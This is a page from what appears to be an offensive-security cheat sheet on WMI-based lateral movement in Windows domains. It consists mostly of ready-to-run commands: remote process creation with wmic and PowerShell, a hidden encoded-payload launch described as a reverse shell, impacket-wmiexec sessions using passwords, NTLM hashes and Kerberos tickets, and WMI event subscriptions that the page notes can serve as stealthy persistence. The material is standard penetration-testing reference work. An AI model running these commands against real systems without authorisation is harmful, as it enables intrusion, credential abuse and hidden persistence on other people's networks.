Skip to content
HackIndex logo

HackIndex

WMI Remote Execution for Lateral Movement

4 min read Jul 14, 2026

Windows Management Instrumentation is built into every Windows version and can execute commands, create processes, and query system state on remote hosts. WMI-based lateral movement does not require SMB shares or service creation — it runs entirely over DCOM (port 135 and ephemeral high ports), making it harder to block than PsExec-style techniques.

wmic — built-in command line

The wmic utility is available on all Windows systems and can execute commands remotely without any additional tools.

PS C:\Users\Guest\Desktop> # Execute a command on remote host
PS C:\Users\Guest\Desktop> wmic /node:$TARGET_IP /user:$DOMAIN\$USER /password:$PASSWORD process call create "cmd.exe /c whoami > C:\Windows\Temp\out.txt"
 
PS C:\Users\Guest\Desktop> # Read the output file after execution
PS C:\Users\Guest\Desktop> type \\$TARGET_IP\C$\Windows\Temp\out.txt
 
PS C:\Users\Guest\Desktop> # Start a reverse shell
PS C:\Users\Guest\Desktop> wmic /node:$TARGET_IP /user:$DOMAIN\$USER /password:$PASSWORD process call create "powershell -nop -w hidden -e $ENCODED_PAYLOAD"

wmic runs the command asynchronously — it returns immediately and the command runs in the background. Output is not returned directly, so redirect it to a file and read it via SMB. For interactive sessions use impacket-wmiexec instead.

PowerShell WMI remoting

PS C:\Users\Guest\Desktop> # Execute command on remote host
PS C:\Users\Guest\Desktop> $cred = New-Object System.Management.Automation.PSCredential($USER, (ConvertTo-SecureString $PASSWORD -AsPlainText -Force))
PS C:\Users\Guest\Desktop> Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Windows\Temp\out.txt" -ComputerName $TARGET_IP -Credential $cred
 
PS C:\Users\Guest\Desktop> # CIM method (modern equivalent — uses WSMAN or DCOM)
PS C:\Users\Guest\Desktop> $session = New-CimSession -ComputerName $TARGET_IP -Credential $cred
PS C:\Users\Guest\Desktop> Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami > C:\Windows\Temp\out.txt"}
 
PS C:\Users\Guest\Desktop> # Query running processes on remote host
PS C:\Users\Guest\Desktop> Get-WmiObject -Class Win32_Process -ComputerName $TARGET_IP -Credential $cred | Select-Object Name, ProcessId, CommandLine

Impacket wmiexec — interactive shell

impacket-wmiexec gives you an interactive shell over WMI from Linux. Commands run as the authenticated user. Each command creates a new process on the remote host rather than persisting a service, which makes it cleaner than psexec.

┌──(kali㉿kali)-[~]
└─$ # Interactive shell with password
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # With NTLM hash
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Single command execution
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP "ipconfig /all"
 
┌──(kali㉿kali)-[~]
└─$ # Kerberos authentication with ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=ticket.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -k -no-pass
C:\>whoami
domain\user

C:\>

WMI event subscription for execution

WMI event subscriptions run commands when a specific system event occurs — on startup, at a time interval, or when a process starts. This technique leaves no scheduled task or service visible in standard tools and is commonly used for both execution and persistence.

PS C:\Users\Guest\Desktop> # Create event filter (trigger every 60 seconds)
PS C:\Users\Guest\Desktop> $filterArgs = @{
Name = 'TimerTrigger'
EventNamespace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
PS C:\Users\Guest\Desktop> $filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs
 
PS C:\Users\Guest\Desktop> # Create event consumer (what to run)
PS C:\Users\Guest\Desktop> $consumerArgs = @{
Name = 'RunPayload'
CommandLineTemplate = 'cmd.exe /c whoami > C:\Windows\Temp\out.txt'
}
PS C:\Users\Guest\Desktop> $consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $consumerArgs
 
PS C:\Users\Guest\Desktop> # Bind filter to consumer
PS C:\Users\Guest\Desktop> $bindingArgs = @{Filter = $filter; Consumer = $consumer}
PS C:\Users\Guest\Desktop> Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs
PS C:\Users\Guest\Desktop> # Remove after use
PS C:\Users\Guest\Desktop> Get-WMIObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -eq 'TimerTrigger'} | Remove-WmiObject
PS C:\Users\Guest\Desktop> Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer | Where-Object {$_.Name -eq 'RunPayload'} | Remove-WmiObject
PS C:\Users\Guest\Desktop> Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding | Remove-WmiObject

WMI event subscriptions that are not cleaned up become a persistence mechanism. Always remove them after the engagement unless persistence is the goal. For using WMI subscriptions as deliberate persistence see Windows Registry Persistence. For lateral movement using WinRM instead of WMI see WinRM and PowerShell Remoting.